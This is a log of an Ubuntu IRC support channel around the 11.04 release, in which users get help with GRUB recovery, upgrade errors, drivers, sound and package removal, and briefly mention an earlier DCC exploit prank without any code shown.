[01:07] <ubottu> awakening: Ubuntu's default installation and repositories do not include packages needed to play commercial DVDs for legal reasons. For information on adding them, see https://help.ubuntu.com/community/RestrictedFormats/PlayingDVDs | For information on the legalities involved, see the "DVD" section of https://help.ubuntu.com/community/FreeFormats
[01:07] <Nesto> it seems   to be an asus/ubuntu problem
[01:07] <ohsix> Nesto: over wifi, and with an ath9k atheros device?
[01:07] <Nesto> ohsix, let me get on my laptop real quick
[01:07] <awakening> KNUBBIG, "!dvd" is the name of the app?
[01:08] <ohsix> Nesto: i don't have a solution, but if it is an ath9k device i can say you're not the only one ;]
[01:08] <KNUBBIG> awakening: no, I think you'd need vlc and libdvdcss2
[01:08] <hypodermia> lemme ask this. does anybody else running natty under unity have an audible system bell?
[01:08] <Nesto> ohsix, I think so... cuz a quite a few Asus people seem to be having the same problem
[01:08] <Logan_> awakening: Read the message that ubottu wrote.
[01:08] <KNUBBIG> awakening: see the tutorial, that should help :)
[01:09] <awakening> okay thanks
[01:09] <awakening> I appreciate it
[01:10]  * crlcan81 waits on 11.04 to finish installing.
[01:10]  * KNUBBIG waited 5 hours for that
[01:11] <crlcan81> I slept through most of the downloading.
[01:11] <jm0> can anyone help me i have royally messed up my system
[01:11] <ohsix> it's like christmas!
[01:11] <crlcan81> three or so hours.
[01:11] <KNUBBIG> jm0: please tell us what exactly did you do?
[01:11] <crlcan81> the installing only took like.. is taking, maybe two hours or so, so ya, about five hours total.
[01:11] <KNUBBIG> crlcan81: I have only 1mbit down here ... took 5 hours even to dl :D
[01:12] <nesto1000> ohsix: http://pastebin.com/H6aatrgG
[01:12]  * crlcan81 has 10-12
[01:12] <crlcan81> sometimes 15 with 'powerboost' as they call it, but that doesn't apply to this.
[01:12] <ohsix> nesto1000: ok thanks, fw is not involved at all and rgr was steering you into the weeds :]
[01:12] <crlcan81> 2 or 3 is my up if I remember right.
[01:12] <FoolsRun> Okay, here's an easy one. I have a fix I need to apply that suggests the following:  echo lirc > /sys/class/rc/rc0/protocols  Which is great except that I don't have an rc0 directory. Do I just create it?
[01:12] <doncams> hi. I upgraded to 11.04 but now my startup manager doesn't work
[01:13] <nesto1000> ohsix: What? lol
[01:13] <Daekdroom> Guys, should a CD md5sum match the ISO's md5sum?
[01:13] <ohsix> nesto1000: the firewall is not in the picture; there are no rules in it, so rgr was leading you to a dead end
[01:13] <tjiggi_fo> Daekdroom, exactly!
[01:14] <sebsebseb> Daekdroom: yes
[01:14] <Daekdroom> Ok, thank you.
[01:14] <jm0> KNUBBIG: well I deleted my linux partitions, and then merged the space with my c: drive. Now when i boot i dont get any GRUB menu but goes straight to grub rescue..........but i got it to load a windows recovery disk ill see what i can do
[01:14] <sebsebseb> Daekdroom: ISO should  have the same code, as the mirror/webpage
[01:14] <HAXEP> doncams: have u tried to reinstall the start-up manager?
[01:15] <unc0nn3ct3d> Evening folks, I can't seem to get my atheros wireless nic to connect to my router and I've tried everything I could think of and/or google.  No errors, iwlist scanning shows the router just fine, but I can't connect in terminal.
[01:15] <BufferUnderpants> Hello folks
[01:15] <KNUBBIG> man how I hate pressing ctrl alt f12 instead of just f12
[01:15] <BufferUnderpants> I have some Skype trouble
[01:15] <doncams> yes. i did reinstall
[01:15] <BKTech86> can anyone help me restore grub please?  I've tried using grub-install on my linux partition, but it doesn't work
[01:15] <jm0> KNUBBIG: well I deleted my linux partitions, and then merged the space with my c: drive. Now when i boot i dont get any GRUB menu but goes straight to grub rescue..........but i got it to load a windows recovery disk ill see what i can do
[01:15] <Daekdroom> sebsebseb, yeah, but I'm wondering wether the CD is damaged.
[01:16] <ubuntu_> hello, i'm getting grub error 17 after freshly installing 11.04 (over an older install). i tried rearranging my hard drives' order in bios, to no avail
[01:16] <aeon-ltd> !fixgrub | BKTech86
[01:16] <ubottu> BKTech86: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[01:16] <ubuntu_> what next?
[01:16] <HAXEP> BufferUnderpants: what are they?
[01:16] <KNUBBIG> BKTech86: you managed to boot into ubuntu?
[01:16] <BufferUnderpants> I updated it on Maverick and now the sound pops and it crashes pulseaudio
[01:16] <BKTech86> KNUBBIG: with CD yea
[01:17] <KNUBBIG> BKTech86: you might be able to chroot and then completely purge and reinstall grub see !chroot
[01:17] <BKTech86> !chroot
[01:17] <ubottu> A chroot is used to make programs believe that the directory they are running in is really the root directory. It can be used to stop programs accessing files outside of that directory, or for compiling 32bit applications in a 64bit environment - see https://help.ubuntu.com/community/BasicChroot
[01:17] <awakening> Alright, I downloaded Kaffeine, but I'm actually having some trouble installing it...a newb at this
[01:17] <giampaolo> is there someone who appreciates the new UI?
[01:17] <trihope> KM0201: r u back
[01:18] <KM0201> trihope: yup
[01:18] <BKTech86> KNUBBIG: sorry, i don't follow.  purge what?
[01:18] <BufferUnderpants> So I was wondering if someone had run into the same problem with Skype or if at least ir runs well on 11.04
[01:18] <ubuntu_> aeon-ltd - i'm pretty sure it's picking up an older grub
[01:18] <KNUBBIG> BKTech86: apt-get remove --purge grub* and then reinstall grub or grub-legacy
[01:19] <BKTech86> KNUBBIG: while booted from CD?
[01:19] <MrBean> Hi, the remote desktop option hangs often when I do ubuntu to ubuntu connection, since lucid I think, is it a known bug? the remote vnc crashes.
[01:19] <KNUBBIG> BKTech86: if you chroot correctly, it should be possible (sorry I'm no expert with chrooting)
[01:20] <BKTech86> KNUBBIG: you're saying to use chroot after mounting my real linux partition and then install grub there?
[01:20] <introuble> i have many rows in ms excel/oo worksheet containing numbers like 03004210000 , 030042510000 and so on. i can manullay scroll them and make a list of 03004210000 to 03004219999 (ten thousand each) but its very hard to do it for all. is there an automatic way?
[01:20] <christhecoolboy> could anyone else try and help me with this mic problem?
[01:20] <unc0nn3ct3d> MrBean : have you tried reducing your graphic settings to the bare min for that VNC connetion?
[01:20] <KNUBBIG> BKTech86: yes I think that should be possible
[01:20] <Daekdroom> Has anyone else bumped into the LiveCD's internal integrity test indicating errors while the ISO and CD md5sums match?
[01:21] <BKTech86> KNUBBIG: you don't think apt-get knows where the real / is?
[01:21] <ohsix> Daekdroom: only on bad media i burned at it's "rated" speed, try burning it at 4x or lower
[01:21] <MrBean> unc0nn3ct3d no, I'll try that thanks.
[01:21] <Daekdroom> ohsix, but the md5sum from the CD matches too
[01:21] <kpoman> guys please I pasted here my Xorg.0.log debug information. I dont understand why my "supported card" isnt working after upgrade to 11.04: http://pastebin.com/nKRxwuuU
[01:21] <BKTech86> arand: i mounted my linux partition and did a grub-install --root-directory=/mnt /dev/sda
[01:21] <kpoman> any clues ? any help really welcome !
[01:22] <SinnerNyx> Trying to disable 11.04 screen blanking in ubuntu server
[01:22] <ohsix> Daekdroom: the optical drives age can affect how fast it can actually burn too, a rarely used drive might only be able to manage half it's speed reliably
[01:22] <awakening> Can someone explain to me how to create an empty build directory?
[01:22] <KNUBBIG> BKTech86: that's what chroot is for, isn't it?
[01:22] <BufferUnderpants> So... anyone using Skype on Natty?
[01:22] <BKTech86> arand: it said it was successful, and i see a grub folder in my linux partition/boot/
[01:22] <KNUBBIG> BufferUnderpants: yep, no problem here
[01:22] <arand> BKTech86: But what happens on boot?
[01:22] <BKTech86> KNUBBIG: isn't apt-get different than other programs though?
[01:22] <unc0nn3ct3d> MrBean: yea when I was living in Colombia connecting to my VNC in Canada I had to do that to ge tit to work
[01:22] <BufferUnderpants> KNUBBIG: ok, maybe I should try updating...
[01:23] <BKTech86> arand: the hard disk won't boot at all
[01:23] <ohsix> Daekdroom: i see
[01:23] <awakening> BKTech86, might be different from...
[01:23] <ohsix> Daekdroom: where did you get the image?
[01:23] <arand> BKTech86: You don't even see a grub message?
[01:23] <KNUBBIG> BKTech86: I'm not sure but I don't think so
[01:23] <BKTech86> arand: right
[01:23] <arand> BKTech86: Do you only have one disk?
[01:23] <BKTech86> arand: yes
[01:23] <unc0nn3ct3d> So anyone feel like helping me troubleshoot this wireless network problem?  Everything connected fine in 10.04 from inside xserver but now in 11.04 without xserver I can see the AP but I just can't connect to it :(
[01:24] <arand> !bootinfoscript | BKTech86
[01:24] <Daekdroom> ohsix, well, it's not actually my issue, but the guy got the image from the official torrent.
[01:24] <SinnerNyx> Trying to disable screen blanking in ubuntu server 11.04
[01:24] <kaz56> can anyone help with upgrading to 11.04? getting a fetch error
[01:24] <arand> BKTech86: Sorry, I'm trying to find a link..
[01:24] <ohsix> Daekdroom: for ubuntu right? not kubuntu or some 3rd party derived version?
[01:25] <Daekdroom> ohsix, right, ubuntu
[01:25] <introuble> i have many rows in ms excel/oo worksheet containing numbers like 03004210000 , 030042510000 and so on. i can manullay scroll them and make a list of 03004210000 to 03004219999 (ten thousand each) but its very hard to do it for all. is there an automatic way?
[01:25] <ohsix> Daekdroom: are you verifying that the burned cd md5 matches on the same drive that is reading it when checked from the boot menu?
[01:26] <kanuha> Is there a way to change the highlight color on the login screen?
[01:28] <kaz56> can anyone help with upgrading to 11.04? please
[01:28] <Kevin147> kaz56: sure
[01:28] <meisth0th> kaz56, what's problem?
[01:28] <KNUBBIG> He's getting a fetch error
[01:28] <kanuha> Is there a way to change the highlight color on the login screen?
[01:28] <kaz56> Thank you, I keep getting a fetch error
[01:29] <meisth0th> kaz56, can you pastebin the full error please?
[01:29] <Rockj> Q: when logging back into gnome2 session, it seems like the latest ubuntu have changed some compiz settings, I noticed the same behaviour under unity. My problem is that if Im not using "raise on click" , I won't be able to raise other window infront. Normally I do this by alt+mouseclicking a window. Any suggestions on how to fix?
[01:29] <SinnerNyx> Trying to disable screen blanking in ubuntu server 11.04
[01:29] <Susibrav> Guten Abend, ich hoffe ich störe nicht
[01:29] <KNUBBIG> !de | Susibrav
[01:29] <ubottu> Susibrav: In den meisten ubuntu-Kanälen wird nur Englisch gesprochen. Für deutschsprachige Hilfe besuchen Sie bitte #ubuntu-de, #kubuntu-de, #edubuntu-de oder #ubuntu-at. Geben Sie einfach /join #ubuntu-de ein! Danke für Ihr Verständnis.
[01:29] <plustax> What can I use in ubuntu to burn an iso cd?
[01:30] <plustax> I need to burn windows 7 to disc so I can use it for my other computer
[01:30] <Susibrav> I m sorry
[01:30] <KNUBBIG> !burn | plustax
[01:30] <ubottu> plustax: CD/DVD burning software: k3b (KDE), brasero (GNOME), gnomebaker, xcdroast, wodim (command-line) | To burn ISO files, see https://help.ubuntu.com/community/BurningIsoHowto
[01:30] <kaz56> You don't have permission to access /ubuntu/pool/universe/x/xulrunner-2.0/xulrunner-2.0-mozjs_2.0+nobinonly-0ubuntu1_i386.deb on this server.
[01:30] <KNUBBIG> Susibrav: no need to be sorry :)
[01:30] <Susibrav> ok
[01:31] <Susibrav> I m german
[01:31] <Susibrav> My english is not very well
[01:31] <KNUBBIG> Susibrav: that's why I suggested #ubuntu-de ;-)
[01:31] <ohsix> Rockj: you can change the compiz settings with ccsm, only some settings are migrated between .8 and .9 versions of compiz
[01:32] <Susibrav> I would like to meet people
[01:32] <stravant> With the update my sound seems to have broken. It's not *broken*, it works perfectly fine, however it refuses to unmute, it will play for a second and go right back to being muted. Has anyone else had this problem?
[01:32] <Nesto> ohsix: I figured out the problem...  -__-
[01:32] <spacebug-> KNUBBIG: may I ask. You are not swedish are you?
[01:32] <Rockj> ohsix: I got something called CompizConfig Settings Manager
[01:33] <KNUBBIG> spacebug-: hehe no I'm not, but I know what KNUBBIG means, I just like the sound of the word. Discovered at IKEA :-)
[01:33] <Dominater> how do i create users on the ftp server? i just installed vsftpd
[01:33] <Nesto> ohsix: For some reason I was putting a 2 as the last number for my host, instead of putting what it actually was... a 9
[01:33] <spacebug-> KNUBBIG: hehe ok thats why I asked ;)
[01:33] <kaz56> meisth0th: did you see the error?
[01:33] <ohsix> Nesto: nice :]
[01:33] <ohsix> Rockj: that's it
[01:33] <KNUBBIG> spacebug-: thought so :-)
[01:33] <Flare183> Alright, I'm here to help
[01:33] <Rockj> ohsix: oh, that is ccsm, and I have ticked of  "Raise on Click" under General Options -> Focus & Raise behaviour but I'm unable to alt+click a window to make it pop in front of other windows
[01:33]  * Flare183 is a ubuntu dev
[01:33] <kanuha> Is there a way to change the highlight color on the login screen?
[01:33] <meisth0th> kaz56, looks like your mirror is not up-to-date or something
[01:33] <Flare183> Kevin147: I'm here bro
[01:34] <meisth0th> try another mirror
[01:34] <doncams> is it ok to ask here... how do I completely remove LAMP from ubuntu
[01:34] <bkerensa> yes
[01:34] <bkerensa> use apt-get remove
[01:34] <KNUBBIG> I might be too suspicious but I doubt that
[01:34] <bkerensa> doncams: Use apt-get remove lamp-server
[01:34] <Flare183> doncams: sudo apt-get remove --purge apache2 php5 mysql-server
[01:34] <Kevin147> Flare183: alright, sweet :P
[01:34] <Dominater> how do i create users on the ftp server? i just installed vsftpd
[01:34] <demlasjr> sorry...I have one question related the fprint_demo....I'm getting libusb couldn't open USB device /dev/bus/usb/007/002: Permission denied.
[01:34] <demlasjr> libusb requires write access to USB device nodes. Tried to search on internet but nothing just a old bug report: https://bugs.launchpad.net/ubuntu/+source/fprint-demo/+bug/642745
[01:34] <ubottu> Ubuntu bug 642745 in fprint-demo (Ubuntu) "fprint can't access fingerprint reader" [Undecided,New]
[01:34] <demlasjr> Any solution ?
[01:35] <bkerensa> Flare183: Why not apt-get remove lamp-server ?
[01:35] <doncams> thanks
[01:35] <doncams> and if I installed suphp?
[01:35] <ohsix> Rockj: you probably need to bind it, alt+click(+drag) starts a drag for the move plugin too
[01:35] <bkerensa> doncams: It will go too
[01:35] <bkerensa> :)
[01:35] <kaz56> meisth0th: ok let me ask you this though. I burnt the alternative iso disc too, why is that trying to fetch something from online?
[01:35] <doncams> thanks. linux noob here
[01:35] <ohzie> Dominater: vsftp uses your system's users by default, I believe.
[01:35] <Flare183> bkerensa: Because, if you removed those packages it will autoremove once you sudo apt-get autoremove them
[01:35] <Flare183> Dominater: I recommend using proftpd
[01:35] <Flare183> Just imo
[01:35] <doncams> i guess i need to read a book bout linux first
[01:35] <meisth0th> alternative? may it be net install iso?
[01:36] <Flare183> !alternative | meisth0th
[01:36] <ubottu> meisth0th: The Alternate CD is a classic text-mode install CD. It supports a wider range of hardware than the !LiveCD, and can also be used as an upgrade CD. http://www.ubuntu.com/download/ubuntu/alternative-download#alternate - See also !minimal
[01:36] <bkerensa> Dominater: I concur with Flare183... proftpd for the win
[01:36] <demlasjr> anyone please ?
[01:36] <Rockj> ohsix: the alt+click(+drag) works for moving the window, but it still moves behind other windows . Latest started program is the window with heighest z-index you could say...
[01:36] <Dominater> proftpd is better?
[01:36] <bkerensa> demlasjr: Have you ran apport?
[01:36] <demlasjr> no
[01:36] <thejonb> i'm getting a 404 not found error on a few of my maverick repositories.  Are some of the repositories offline because of traffic?
[01:36] <bkerensa> Dominater: In most cases yes
[01:36] <ohsix> Rockj: hm dunno what to say, it raises windows here
[01:37] <Dominater> thanks
[01:37] <kaz56> yes that one
[01:37] <meisth0th> i've used net install disc a few times but didn't use alternate, i don't know
[01:37] <Flare183> thejonb: its very possible yes, due to the massive traffic that the Ubuntu Servers (esp the US ones atm), you might get a 404 on some of them.
[01:37] <doncams> i get this error Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable)
[01:37] <Flare183> meisth0th: The alternative installer is just a texted based installer (based on the debian installer)
[01:38] <bkerensa> thejonb: I would wait a few hours imho
[01:38] <Flare183> !dpkglock | doncams
[01:38] <Flare183> crap
[01:38] <bkerensa> doncams: !dpkglock
[01:38] <meisth0th> Flare183, i see but i don't know the answer of kaz56's question
[01:38] <doncams> thanks
[01:38] <KNUBBIG> doncams: used sudo or have another apt-get process runing?
[01:38] <ohsix> Rockj: the general options have raise & focus behavior tab
[01:38] <kaz56> Flare183: shouldn't it have all the packages?
[01:38] <bkerensa> eck
[01:38] <bkerensa> damn xchat script :P
[01:38] <Flare183> !aptlock | doncams\
[01:38] <ubottu> doncams\: If an APT front-end crashed and your database is locked, try this in a !terminal: « sudo fuser -vki /var/lib/dpkg/lock;sudo dpkg --configure -a »
[01:38] <altearius> I just upgraded to 11.04.  Now X won't start and my console window is unreadable. I can SSH in from another machine.  /var/log/Xorg.0.log says the NVIDIA module failed to load and no drivers are available.  How do I repair this?
[01:39] <doncams> oh... my synaptic is open
[01:39] <doncams> my bad
[01:39] <Flare183> altearius: sudo dpkg-reconfigure xorg
[01:39] <Flare183> I think
[01:39] <ohsix> Rockj: and the binding tab has binds for window raising stuff
[01:39] <Flare183> doncams: that's the problem :P
[01:39] <Rockj> ohsix: mhm, and that's where I untick all 3 first boxes so I get focus selected by mouse move, then I normally would use alt+mouseclick to raise the window.
[01:39] <thejonb> what concerns me is that the repositories that are returning 404 errors are the main maverick sources and main 1386 packages repos
[01:39] <ohsix> Rockj: then look at the bindings page :]
[01:39] <doncams> lol
[01:39] <Rockj> ohsix: oh, control button 6 , hm
[01:40] <ohsix> thejonb: that's normal
[01:40] <Rockj> ohsix: wonder what button that is :O
[01:40] <Flare183> I'll be honest everyone, I don't like the unity stuff. and I'll be the one to step up and say that when the devs where going to put unity in, I didn't like it.
[01:40] <ohsix> thejonb: unless you get an error reported from apt or whatever is fetching packages you can ignore it
[01:40] <Kevin147> !ot | Flare183
[01:40] <ubottu> Flare183: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[01:40] <ohsix> Flare183: this is a help channel
[01:40] <Flare183> Kevin147: don't give me that bro :P
[01:40] <djr013> Flare183: You can always download Gnome3 or any other DE, for example.
[01:40] <Flare183> ohsix: and um duh, I'm one of the developers x.x
[01:41] <bazhang> Flare183, its the wrong place for it
[01:41] <altearius> Flare183: That command executes immediately and doesn't seem to actually do anything. =/
[01:41] <Flare183> -_-
[01:41] <KNUBBIG> Flare183: doesn't matter, ot is ot
[01:41] <ohsix> Flare183: also the review period for changes in unity was very long, this is the release
[01:41]  * Flare183 sighs
[01:41] <Flare183> I know people >.<
[01:41] <thejonb> ohsix: ok cool.  guess i'll keep trying back periodically
[01:41] <thejonb> thanks
[01:42] <thien> does it work if i bring my hdd with  a Ubuntu system to another computer?
[01:42] <djr013> Will 11.04 see feature improvements in Unity, or will those all be put off for 11.10?
[01:43] <djr013> I mean, bugfixes that border on being new features.
[01:43] <Rockj> ohsix: that seems to do the trick. just rebinded it to some other key. Tho, I think alt+mouseclick was standard unix/x11 behaviour from old days. Worked aslong as I can remember I think. Anyway, no problem remapping it, just had to know where :-)
[01:43] <ohsix> djr013: 11.04 will be supported as it is now, just like any release would; features are generally not accepted for stable release updates, only fixes and for security issues
[01:43] <ohsix> Rockj: there was no standard behavior, it's always been up to whatever window manager you were running
[01:43] <dibs> http://pastie.org/1849172  Can someone help me get upgraded, it fails for me
[01:43] <afeder> is there a dev channel for ubuntu?
[01:44] <Rockj> ohsix: ok, been working for me as long as I can remember at least - hehe.
[01:44] <Flare183> afeder: #ubunut-dev
[01:44] <djr013> ohsix: Alright, I was unsure simply because of the massive UI changes and potential for broad bugs in the interface and functionality.
[01:44] <Flare183> #ubuntu-dev *
[01:44] <kjxl9> minute
[01:44] <afeder> Flannel, thanks but i only see like 4 people there?
[01:44] <ohsix> Rockj: right :] just saying, a lot of stuff is grandfathered without too much thought, until it isn't
[01:44] <altearius> How do I look at my system's kernel log?
[01:44] <Flannel> afeder: It's #ubuntu-devel, not #ubuntu-dev
[01:44] <Flare183> afeder: Yes, but why would you like to talk to the devs?
[01:44] <Flare183> Flannel: bleh, I'm getting rusty at this again xD
[01:44] <afeder> Flannel, ah okay thanks
[01:45] <ohsix> djr013: then you'd probably get into an argument with someone over a definition of "bug" :]
[01:45] <afeder> Flare183, because i want to contribute? unless u try to stop me :)
[01:45] <djr013> haha perhaps
[01:45] <namzezam> Unpacking replacement linux-headers-2.6.35-28-generic ...
[01:45] <namzezam> dpkg: ../../src/archives.c:809: tarobject: Assertion `r == stab.st_size' failed.
[01:45] <namzezam> What shall i do? This is more than 2 weeks now, that i can not upgrade. I did post the bug. Can not remove, nor reinstall this linux header . This is too bad and it is unsolved too long time. What shall i do?
[01:45] <FloodBot3> namzezam: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[01:45] <Flare183> afeder: of course I'm not going to stop you.
[01:45] <thien> does it work if i bring my hdd with  a Ubuntu system to another computer?
[01:45] <ohsix> djr013: when working from a design you have one large creative work that pretty much stands alone, you can disagree with the design but it doesn't get to the level of a bug, which is sometimes unfortunate
[01:46] <quellhorst> i have a ubuntu server iso, i want to get the desktop env also. what packages should i select?
[01:46] <Roasted> Is there a system requirements section in regard to Ubuntu Unity? I know about Ubuntu's spec, but I'm curious at what point users should decide from 2D or 3D Unity.
[01:46] <Flare183> quellhorst: ubuntu-desktop
[01:46] <IdleOne> quellhorst: ubuntu-desktop
[01:46] <bazhang> quellhorst, ubuntu-desktop
[01:46] <ohsix> quellhorst: ubuntu-desktop
[01:46] <KNUBBIG> wow :D
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[01:46] <ohsix> hah he didn't even do it right
[01:46] <Flare183> fail
[01:46] <quellhorst> so i see --- ubuntu-desktop (246) ... but it just expands to a bunch of packages, not all of them are related.
[01:47] <Guest68551> i just installed the latest ubuntu 11.04 Natty Narwhal, and now it doesn't recognize my nvidia video card
[01:47] <ohsix> he just got a lot of people to connect to 81.178.210.42 though
[01:47] <p_res> Guest68551: did it before?
[01:47] <stravant> My sound is "stuck" muted after the update. It *is* working, but it re-mutes itself after a second of playing every time I unmute it. How can I fix this? All I can find are bugs for this which are supposedly already fixed.
[01:47] <dibs> is ActionParsnip about??
[01:47] <dibs>  http://pastie.org/1849172  Can someone help me get upgraded, it fails for me
[01:47] <hugelgupf> can somebody tell me what software is included in ubuntu-edu-tertiary? I've been trying to look for a list, but all i can find is that it's university-related software
[01:47] <djr013> thien: It should work fine with particular exemptions, for example if you have X configured for a particular setup.
[01:48] <kjxl9> hey guys
[01:48] <Rockj> does that dcc exploit still work? Thought that was fixed in irc clients ages ago . (offtopic)
[01:48] <p_res> kjxl9: hey.
[01:48] <Guest68551> p_res, did it before what?
[01:48] <p_res> Guest68551: before natty, was it recognized?
[01:49] <ohsix> stravant: is it doing it right now?
[01:49] <dibs> Where can I get help with UBUNTU?
[01:49] <stravant> Yes
[01:49] <ohsix> Rockj: it wasn't in irc clients, but the router
[01:49] <KNUBBIG> dibs: here
[01:49] <Guest68551> yes it came up fine, ran the update and now i have to select safe mode when i boot up
[01:49] <Kevin147> dibs: here
[01:49] <ohsix> stravant: ok, can you post the output of fuser -v /dev/snd/* to a pastebin
[01:49] <Guest68551> it tells me to run nvidia-xconfig
[01:50] <Guest68551> but i'm kind of new to ubuntu and don't know where to run it from,
[01:50] <p_res> Guest68551: so run it.
[01:50] <Kevin147> Guest68551: Run it in the terminal
[01:50] <KNUBBIG> Guest68551: run it from terminal with sudo in front
[01:50] <p_res> from a terminal
[01:50] <dibs> Kevin147: can you help me get upgraded to 11.04.  http://pastie.org/1849172
[01:50] <Guest68551> tried but let me try again
[01:50] <stravant> ohsix: http://pastebin.com/rXdqJxVT
[01:50] <Blake_> I can ask for support in here correct?
[01:50] <Rockj> ohsix: oh, never read up on the thing, I thought it was bad implementation on irc clients that you could abuse when overflowing it and cause it's connection to reset or something when you sent that dcc thingie.
[01:50] <KNUBBIG> Blake_: yes
[01:51] <ohsix> stravant: ok do the same for pacmd ls
[01:51] <stravant> That's when muted by the way, I can't get a copy of it when unmuted because it only plays for a fraction of a second
[01:51] <dibs> KNUBBIG:  Can you help me get upgraded??
[01:51] <Hugelgupf> does anybody know what software ubuntu-edu-tertiary includes?
[01:51] <bazhang> dibs, looks like the servers are not responding
[01:51] <kjxl9> is there a channel for musicians?
[01:51] <Guest68551> when i enter sudo nvidia-xconfig , prompts me for password which i enter then it comes back xconfig command not found
[01:51] <ohsix> stravant: thats fine, fuser was just to see who was using controlC0
[01:51] <bazhang> dibs, not surprising since its day two of release
[01:52] <dibs> bazhang: No tthe issue I am having. Been trying all day
[01:52] <bazhang> !alis | kjxl9
[01:52] <ubottu> kjxl9: alis is a services bot that can help you find channels. Read "/msg alis help list" for help and ask any questions about it in #freenode. Example usage: /msg alis list #ubuntu*
[01:52] <stravant> What's the exact command with pacmd?
[01:52] <kad_> hey!! i need help how i can add to: /etc/fstab so uder allow to mount/umount!! i try option: exec,rw,user,auto but didn't work
[01:52] <stravant> I don't seem to be getting and output that would be useful
[01:52] <stravant> Just "welcome to pulseaudio"
[01:53] <low_cpu> good night every one
[01:53] <Blake_> Alright well yesterday I updated from 10.10 to 11.4 and it didn't boot so I went to grub and choose my previous kernel,but couldn't change my boot order. Then I went into Ubuntu 10.10 Live CD no internet access.
[01:53] <drtg> hi, im using totem at the moment and when i try to play a video, it plays but with a message please install codec. Im using feisty atm. any help?
[01:53] <KNUBBIG> dibs: a shot in the dark would be to try apt-get install -f before trying to upgrade but no idea really
[01:53] <Blake_> Added a partition installed it and no internet connection.
[01:53]  * ceed^ is away: Auto-away after 1 mins idle (gone at 29th Apr, 19:53:41)
[01:53] <dibs> KNUBBIG: thanks man, the most helpful response so far
[01:53] <bazhang> drtg, feisty is not supported any longer. please upgrade to a supported version
[01:53] <Blake_> I ran a command and it sees my card, but I can't get it to work.
[01:53] <bazhang> ceed^`away, disable that please
[01:54] <drtg> bazhang: any other alternative if i still use fesity?
[01:54] <drtg> *feisty
[01:54] <KNUBBIG> auto-away after 1 minute, wow fast ;)
[01:54] <bazhang> drtg, its not supported here so no
[01:54] <delu> Hi, does anyone know how to make windows avoid docks when maximized/opened? I had it set up this way in Maverick, but upon reinstalling Ubuntu to Natty they appear under the dock instead. I am using Compiz and AWN.
[01:54] <djr013> drtg: What particular reason is preventing you from upgrading?
[01:55] <altearius> How do I view my system's kernel log?
[01:55] <drtg> djr013: last of hard disk space :(
[01:55] <pirol> i just updated to ubuntu 11.04 und tried out the catalyst 11.4 driver because i read that its now able to switch between 2 graphic chips. i have a radeon 5650 and a integrated intel. everything worked fine. but then i switched to the integrated chip with the catalyst control center just for testing. after a reboot the dedicated chip was disabled that was what i wanted but now i'm not able to start the control center again to switch back on the d
[01:55] <pirol> edicated card. doas anyone has an idea that can fix this?
[01:55] <djr013> oh heh
[01:55] <djr013> drtg: Get a bigger hard disk, you'll be glad you did. ;)
[01:55] <KNUBBIG> I'm off, good night everyone
[01:55] <drtg> djr013: i tried install the Gstreamer plugin but doesnt help too
[01:56] <Blake_> Did anyone read what I said?
[01:56] <drtg> http://linux.about.com/od/ubuntu_doc/a/ubudg6t2.htm
[01:56] <superlou_> Is Simple Backup deprecated from Natty?  This could be really unfortunate :(
[01:56] <Guest68551> adios all
[01:56] <djr013> altearius: System, Administration, System Log Viewer
[01:56] <bazhang> !info sbackup
[01:56] <ubottu> sbackup (source: sbackup): Simple Backup Suite for desktop use (core functionality). In component universe, is optional. Version 0.11.4-0ubuntu2 (natty), package size 318 kB, installed size 1800 kB
[01:56] <bazhang> superlou_, still there ^
[01:57] <altearius> djr013: Err, how do I view my system kernel log if all I have is SSH access and no X?
[01:57] <superlou_> bazhang, thanks.  I was searching for the wrong name.  Saved me my data
[01:57] <praveen> i want to upgrade to 11.04 but my update manager is not showing option of 11.04...how to upgrade to 10.10 to 11.04??
[01:57] <djr013> drtg: Sorry I can't really help, haven't used that version in years, and it's unsupported anyway. :( It's worth it to upgrade, even if just to 10.04.
[01:58] <Blake_> Is there any Ubuntu Techs here? or anyone that can help me.
[01:58] <djr013> praveen: update-manager -d
[01:58] <bazhang> djr013, that wont work
[01:58] <praveen> drdj013:i have tried this...not working
[01:58] <djr013> praveen: The servers are under heavy load right now though, so be warned.
[01:58] <djr013> bazhang: Wrong command?
[01:59] <bazhang> djr013, its no longer development
[01:59] <djr013> oh :O what is it now then?
[01:59] <ohsix> stravant: "pacmd ls"
[01:59] <bazhang> !upgrade | praveen
[01:59] <ubottu> praveen: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[02:00] <cardamon> Whelp, switching to 10.10 (11.04 lol) broke things.  I've got an invisible menu bar. I couldn't even get a terminal up, I had to come to you in a vterm. I suspect compositing.
[02:00] <ohsix> superlou_: theres deja-dup if you're looking for an alternative ;]
[02:00] <Blake_> Can someone help me?
[02:01] <aj00200> cardamon: I can help you get a terminal up if you don't have a menu bar, but otherwise, I won't be much help
[02:01] <superlou_> ohsix, need to first recover all my backups from 9.04 :)  Have you found deja-dup to be superior?  Simplebackup was so simple that I actually started making backups regularly
[02:01] <aj00200> Blake_: it helps if you state your question
[02:01] <stravant> ohsix: http://pastebin.com/udmgUD2V
[02:01] <stravant> Sorry for the delay, needed to pipe it to a file since it didn't fit in the console
[02:01] <ohsix> superlou_: well it's simple, and it will backup when a volume is plugged in if it missed a regular backup; and i can mess with the backupsets with dpulicity, it served all my needs
[02:03] <praveen> ubottu: that is quite helpful..thanks!!!
[02:03] <Blake_> Aj00200: I did. I shall restate again. I upgraded from 10.10 to 11.4 and it wouldn't boot. Now Ubuntu isn't finding my Ethernet connection.
[02:03] <superlou_> ohsix, sounds sweet.  I'll check it out
[02:03] <ActionParsnip> Blake_: what happens when you try and boot the natty kernel?
[02:03] <Rockj> oh, what is good backup softwares to run on your private server? one that works for both os x, windows and linux hopefully? :)
[02:04] <ActionParsnip> !backup
[02:04] <ubottu> There are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning
